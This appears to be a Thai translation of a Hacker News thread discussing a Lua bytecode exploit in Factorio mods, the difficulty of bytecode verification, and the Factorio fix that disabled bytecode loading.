ตามอุดมคติควรแยกไว้ในเครื่องเสมือน แต่การตั้งค่า เครื่องเสมือนสำหรับเล่นเกม นั้นยุ่งยากมาก และอาจถูกกันออกจากเกมบางเกมที่ใช้ anti-cheat
เมื่อคิดว่าสาขาอื่น ๆ ต้องการคนที่เขียนโปรแกรมเก่งอย่างยิ่ง ก็แทบจะน่าเสียดายที่คนมีฝีมือไปทำงานในวงการเกม
โดยทั่วไป การตรวจพิสูจน์โปรแกรมนั้นยากสุด ๆ ไม่ใช่แค่เพราะทฤษฎีบทของ Rice เท่านั้น โดยเฉพาะในภาษาไบต์โค้ดที่ไม่ใช่เรื่องเล็กอย่าง Lua จุดที่พลาดได้นั้นเกิดขึ้นง่ายมาก ตัวอย่างเช่น Wasm ไม่มี แนวคิดของ for loop
หลังจากโปรเจกต์ต้นน้ำยอมแพ้ปัญหานี้เพราะยากเกินไป ก็แปลกที่นักพัฒนา Factorio พยายามแก้ verifier หรือเขียนเอง
ฟังก์ชัน
loadstringของ Minetest ห้ามไบต์โค้ดโดยสมบูรณ์: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...น่าสงสัยว่าทำไมม็อด Factorio ถึงต้องมีความสามารถในการรันไบต์โค้ด Lua ดิบด้วย ถ้าไม่จำเป็น ก็ไม่ต้องมี verifier เลย
การรันโค้ด Lua ที่ดาวน์โหลดมาทางเครือข่ายตั้งแต่แรกค่อนข้างอันตราย สภาพแวดล้อมรัน JavaScript ผ่านวงจรการค้นพบและแก้ exploit มาหลายสิบปีแล้ว Lua ก็มีเรื่องแบบนั้นเหมือนกัน แต่ขนาดเล็กกว่าและมีบุคลากรสำหรับปรับปรุงความปลอดภัยน้อยกว่า
มาตรการป้องกันหลักอาจเป็นแค่ว่ามีคนที่รันเซิร์ฟเวอร์เกมประสงค์ร้ายน้อยกว่า
ด้วยเหตุผลด้านความปลอดภัยคล้ายกัน ไลบรารี debug แทบทั้งหมดก็ถูกทำให้ใช้ในม็อดไม่ได้
loadstring()ของ Luaตัวอย่างเช่น มีบทความที่นักพัฒนา ROBLOX เขียนไว้เมื่อ 12 ปีก่อน: https://archive.is/oXPyM
พูดตรง ๆ คือปิดไว้เป็นค่าเริ่มต้นน่าจะดีกว่า การใช้งานที่ชอบธรรมค่อนข้างเฉพาะกลุ่มมาก
อีกทั้งการสร้างซอฟต์แวร์ที่ไม่สามารถรันได้เฉย ๆ ในสภาพแวดล้อมที่ Turing-complete นั้นค่อนข้างมีข้อจำกัด
อย่างไรก็ดี สิ่งที่ต้องมีจริง ๆ คือ interpreter ที่รวม ระบบสิทธิ์ อันแข็งแรงไว้ด้วย
แต่ถ้ายอมประนีประนอมว่าจะรับเพียงบางส่วนของอินพุตที่ตรงตามข้อกำหนดจริง ทฤษฎีบทของ Rice ก็จบตรงนั้น ตอนนี้เหลือแค่งานที่ยากสุดขีดแทนงานที่เป็นไปไม่ได้
ต่อให้ล้มเหลว อย่างน้อยก็อาจปลอบใจได้ว่าจะไม่มีใครมาบอกว่ามันเป็นสิ่งที่เป็นไปไม่ได้
Factorio ไม่ควรเลือกเส้นทางนี้
คำถามมือใหม่สุด ๆ คือ ทำไมเกมถึงใช้ Lua และไม่ใช้ JavaScript แบบฝังในตัว ที่มีอินเทอร์เฟซที่กำหนดไว้ เช่น API สำหรับปรับสถานะเกม
ดูเหมือนว่าจะได้ประโยชน์จากงานเสริมความแข็งแกร่งที่มากกว่ามากซึ่งทุ่มให้กับการแยกสภาพแวดล้อมของเบราว์เซอร์ เบราว์เซอร์เป็นเป้าหมายที่ยาก ถูกทดสอบมาอย่างดีมาก และมีเงินทุนสูง
การปรับประสิทธิภาพของ dynamic typing ก็ถูกทุ่มงานไปมหาศาลเช่นกัน
แถมถ้าม็อดต้องการ UI ก็มี canvas และถ้าให้โมเดลคล้าย DOM ก็อาจใช้สิ่งอย่าง React ได้ด้วย
Lua ถูกสร้างมาเพื่อการผสานรวมโดยเฉพาะ จึงมีเอกสารมากและมีชุมชนใหญ่รองรับ
อีกอย่าง คุณกำลังสับสนระหว่าง API ทั่วไปของเบราว์เซอร์กับ JavaScript เอนจิน JavaScript ไม่ได้ให้ canvas หรือ DOM มาให้ ตัวอย่างเช่น V8 ก็ไม่ได้ให้ สิ่งเหล่านั้นต้องเพิ่มเอง
ผมไม่ใช่นักพัฒนาด้านความปลอดภัย แต่ตามธรรมเนียมก็อยากพูดว่า “ว้าว อันนี้น่าประทับใจมาก!” ไม่น่าเชื่อเลยว่าต้องคิดอย่างชัดเจนและเป็นตรรกะแค่ไหนถึงจะไล่ตามกรณีความล้มเหลวที่ซับซ้อนแบบนี้ได้ แน่นอนว่านี่ไม่ใช่จุดแข็งของผม ผมน่าจะเป็นสาย “คนคิดไอเดีย” มากกว่าเยอะ
ในแง่เนื้อหา ถ้ามี กลุ่มวิศวกรซอฟต์แวร์ AI ที่ติดตั้งบทความบล็อก 10,000 ชิ้นเกี่ยวกับการหา memory exploit แปลก ๆ แบบนี้ขึ้นมา เราน่าจะจบเห่กันจริง ๆ
สุดท้ายแล้วผมคิดว่าเราต้องมี paradigm ใหม่ทั้งหมดสำหรับความปลอดภัย หรืออย่างน้อยก็ต้องมีองค์ประกอบใหม่ใน stack การพูดถึงไคลเอนต์หรือบทบาท DB ที่ “เชื่อถือได้” ในยุคนี้ ให้ความรู้สึกเหมือนกำลังอุดรูชีสสวิสอยู่
หวังว่าเราจะวางชั้นชีสสวิสใหม่ที่ LLM ดูแลเพิ่มเข้าไปได้อีกชั้นหนึ่ง
งั้นนี่ไม่ใช่การแสดง exploit ที่อาศัย การโหลดไบต์โค้ด ซึ่งเป็นฟีเจอร์ที่ถูกโฆษณาว่าเอาไปใช้ในทางที่ผิดได้อยู่แล้วหรอกเหรอ? ผมพลาดอะไรไปหรือเปล่า?
jmpหรือปัญหาที่ตัวแปลภาษา Lua พยายามตีความทุกอย่างที่เจอว่าเป็นคำสั่งถึงขั้นพยายามตีความ data section ที่ตัวตรวจสอบไม่ได้แตะต้องด้วย
loadstringไปแล้วดีจริง ๆ ที่คนเก่งขนาดนี้อยู่ฝ่ายดี
สื่อข่าวทำให้เราเชื่อในทางตรงกันข้าม และคอมเมนต์เฉลี่ย ๆ ใต้ข่าวพวกนั้นก็ยิ่งตอกย้ำความเชื่อนั้น แต่ถ้ามันเป็นอย่างนั้นจริง ๆ เราจะมีความฟุ่มเฟือยหลายอย่าง รวมถึงโครงการด้านการแพทย์และสวัสดิการสังคมที่เราได้ใช้กันอยู่ได้อย่างไร
ไม่ได้หมายความว่าโลกไม่มีปัญหา แต่ชัดเจนว่ามี คนที่สร้างสรรค์ มากกว่าคนที่ชอบทำลายอยู่มาก
ผมเพิ่งมาจากเธรด HN เกี่ยวกับ Panama Papers เลยยิ่งคิดเรื่องนี้อยู่ข้างหน้า ที่นั่นบรรยากาศออกจะเหยียดหยันว่าคนรวยทุกคนชั่ว และทุกคนรอดพ้นจากการถูกดำเนินคดีโดยสมบูรณ์ แต่จริง ๆ แล้วมีหลายคอมเมนต์ชี้ได้ดีว่าทั้งสองอย่างไม่จริง เพียงแต่ต้องอ่านลึกลงไปในเธรดหน่อยและอย่าถูกกระแสเหยียดหยันพัดไป
ผมคิดว่าไม่ควรใช้ไบต์โค้ด Lua เลย นอกเหนือจากใน ระบบฝังตัว ที่มีทรัพยากรไม่พอจะรัน parser ของซอร์สโค้ด Lua
นอกจากช่องโหว่ด้านความปลอดภัยแล้ว การใช้งานเดียวที่ดูมีประโยชน์คือโปรแกรมซอร์สปิดเท่านั้น
ผมอาจพลาดไปก็ได้ แต่ยอมรับว่าอ่านช่วงท้ายแบบผ่าน ๆ ดูเหมือนผู้เขียนจะไม่ได้พูดเลยว่ามี มาตรการบรรเทา อะไรเกิดขึ้นจริงบ้าง ผมอยากฟังส่วนนั้นเพิ่มเติม
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
และ 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
ส่วนที่เกี่ยวข้องที่สุดคือการเปลี่ยนแปลง
luaB_loadใน 1.1.104 ซึ่งเพียงแค่ปิดใช้งาน การโหลดไบต์โค้ด